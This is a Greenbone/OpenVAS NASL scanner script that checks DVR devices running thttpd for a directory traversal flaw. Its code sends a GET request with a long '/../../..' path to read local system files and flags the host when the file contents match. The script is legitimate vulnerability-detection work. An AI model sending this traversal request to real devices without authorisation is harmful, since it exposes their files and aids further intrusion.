Multiple DVR HTTP Server Directory Traversal Vulnerability - Active Check

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:acme:thttpd";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103714");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");

  script_name("Multiple DVR HTTP Server Directory Traversal Vulnerability - Active Check");

  script_xref(name:"URL", value:"https://web.archive.org/web/20210123050646/https://www.securityfocus.com/bid/60010/");

  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2013-05-23 09:50:08 +0200 (Thu, 23 May 2013)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("gb_thttpd_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("thttpd/detected");

  script_tag(name:"summary", value:"The thttpd running on the remote DVR is prone to a directory
  traversal vulnerability because it fails to sufficiently sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Exploiting this issue will allow an attacker to view arbitrary
  local files within the context of the web server. Information harvested may aid in launching
  further attacks.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");

# nb: No get_app_location() as thttpd is only used within this product and there is no point
# in linking to the detection of it.
if(!port = get_app_port(cpe:CPE))
  exit(0);

url = "/";

if(http_vuln_check(port:port, url:url, pattern:"<title>DVR LOGIN", usecache:TRUE)) {

  files = traversal_files();

  foreach pattern(keys(files)) {

    file = files[pattern];

    url = "/../../../../../../../../../../../../../../../../" + file;

    if(http_vuln_check(port:port, url:url, pattern:pattern)) {
      report = http_report_vuln_url(port:port, url:url);
      security_message(data:report, port:port);
      exit(0);
    }
  }
}

exit(99);